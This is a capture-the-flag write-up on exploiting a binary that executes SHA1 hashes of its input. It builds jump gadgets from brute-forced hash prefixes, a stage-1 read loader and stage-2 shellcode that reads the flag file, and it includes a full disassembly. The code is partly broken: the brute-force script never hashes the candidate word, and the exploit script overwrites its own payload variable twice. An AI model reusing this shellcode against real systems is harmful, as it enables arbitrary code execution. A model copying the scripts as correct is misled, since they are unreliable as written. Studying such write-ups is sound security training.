Shellcoding, neat. I like those challenges.

First of all, I did some reversing and figured the following:

The first 4 input bytes are determining how often SHA1 is called.Our following input gets read to read to 0x601080 and every 0x10 input bytes are taken together and hashed with SHA1 as a single block.  Every hash block gets appended to the code stripe at 0x604f00. After the completion of constructing the code blocks, the code stripe gets executed via call rax.

Thus, it is clear what to do: We have to provide input blocks of 16bytes each, which are hashed resulting into reasonable assembly code. It is not possible to generate an input block resulting into a hash where every byte is making sense in the foreseeable future, we have to find a way around it. Thus, we went for creating Jump-Oriented-Programming (JOP) Gadgets. Hereby, only the first few bytes are used; The first few for the payload, the following for a jump to another location. Intuitively, we always want to jump to the beginning to the beginning of the next block to form our finite payload. We used the following script to generate input-hash pairs:

import hashlib, random
a_z = "abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
while 1:
    word = random.choice(a_z)+random.choice(a_z)+random.choice(a_z)+random.choice(a_z)+random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z) +  random.choice(a_z)+        random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z)+        random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z)+ random.choice(a_z)
    m = hashlib.sha1()
    print word
    print m.hexdigest()

The output of this script piped into grep delivered us the gadget we wanted. As rule of thumb estimate, 4 bytes for both jump and payload are bruteforcable in this way in a reasonable amount of time. So, as payload we constructed a Loader for more payload, basically reading more into the code stripe from stdin. This is very easily possible because the code stripe is marked +rwx and the address of the code segment is still in some registers!

Thus, the stage1 shellcode just aims for the syscall read(0,code,“ALOT”). Hereby,  the present sha1lcode gets overwritten and after the according read syscall finishes, the new read byte are available for execution. Our developed stage2 shellcode does nothing else than opening the flag, reading it onto the stack and writing it to stdout. It follows the final code, a little bit ugly - im new to py and it’s ctf code anyway. ;)


import struct, sys

p = struct.pack("<I", 0x00000010) #num of called sha1

#what we are doing here is:
#triggering a second read to the code segment
#via gadgets
#p = "mXhaVsSNkKnLKub7"
p="DhgCTWezkDPzTx3j"  #push rbx
p+="XyVwwkQqD3illCVw" #pop rax
p+="DhgCTWezkDPzTx3j" #push rbx
p+="IfsV8Syi5DNDI5Y4" #pop rdi
p+="r3xzwhubJjPlXx9O" #push rdx
p+="3pjMKtzirbFrpAVi" #pop rsi
p += "K_KLtmuBn8_NYhMK" #syscall
p = "\x90" * 1000
#this is the shellcode down here, look at eof for what it does in detail
#for now: it does open(/home/sh1lcode/flag), read, write
p += struct.pack(">I", 0xb8020000)
p += struct.pack(">I", 0x00be0000)
p += struct.pack(">I", 0x0000ba9a)
p += struct.pack(">I", 0x020000b9)
p += struct.pack(">I", 0x666c6167)
p += struct.pack(">I", 0x5148b961)
p += struct.pack(">I", 0x316c636f)
p += struct.pack(">I", 0x64652f51)
p += struct.pack(">I", 0x48b92f68)
p += struct.pack(">I", 0x6f6d652f)
p += struct.pack(">I", 0x73685148)
p += struct.pack(">I", 0x89e70f05)
p += struct.pack(">I", 0x90909048)
p += struct.pack(">I", 0x89c7b800)
p += struct.pack(">I", 0x00000048)
p += struct.pack(">I", 0x89e6baff)
p += struct.pack(">I", 0x0000000f)
p += struct.pack(">I", 0x05b80100)
p += struct.pack(">I", 0x0000bf01)
p += struct.pack(">I", 0x0000000f)
p += struct.pack(">I", 0x05b83c00)
p+= struct.pack(">I",0xebfeebfe) # additional hang. comment this for calling exit in the nextline
p += struct.pack(">I", 0x00000f05)
print p

Disassembly of section .text:

0000000000400080 <_start>:
  400080:    b8 02 00 00 00           mov    $0x2,%eax
  400085:    be 00 00 00 00           mov    $0x0,%esi
  40008a:    ba 9a 02 00 00           mov    $0x29a,%edx
  40008f:    b9 66 6c 61 67           mov    $0x67616c66,%ecx
  400094:    51                       push   %rcx
  400095:    48 b9 61 31 6c 63 6f     movabs $0x2f65646f636c3161,%rcx
  40009c:    64 65 2f 
  40009f:    51                       push   %rcx
  4000a0:    48 b9 2f 68 6f 6d 65     movabs $0x68732f656d6f682f,%rcx
  4000a7:    2f 73 68 
  4000aa:    51                       push   %rcx
  4000ab:    48 89 e7                 mov    %rsp,%rdi
  4000ae:    0f 05                    syscall 
  4000b0:    48 89 c7                 mov    %rax,%rdi
  4000b3:    b8 00 00 00 00           mov    $0x0,%eax
  4000b8:    48 89 e6                 mov    %rsp,%rsi
  4000bb:    ba ff 00 00 00           mov    $0xff,%edx
  4000c0:    0f 05                    syscall 
  4000c2:    b8 01 00 00 00           mov    $0x1,%eax
  4000c7:    bf 01 00 00 00           mov    $0x1,%edi
  4000cc:    0f 05                    syscall 
  4000ce:    b8 3c 00 00 00           mov    $0x3c,%eax
  4000d3:    0f 05                    syscall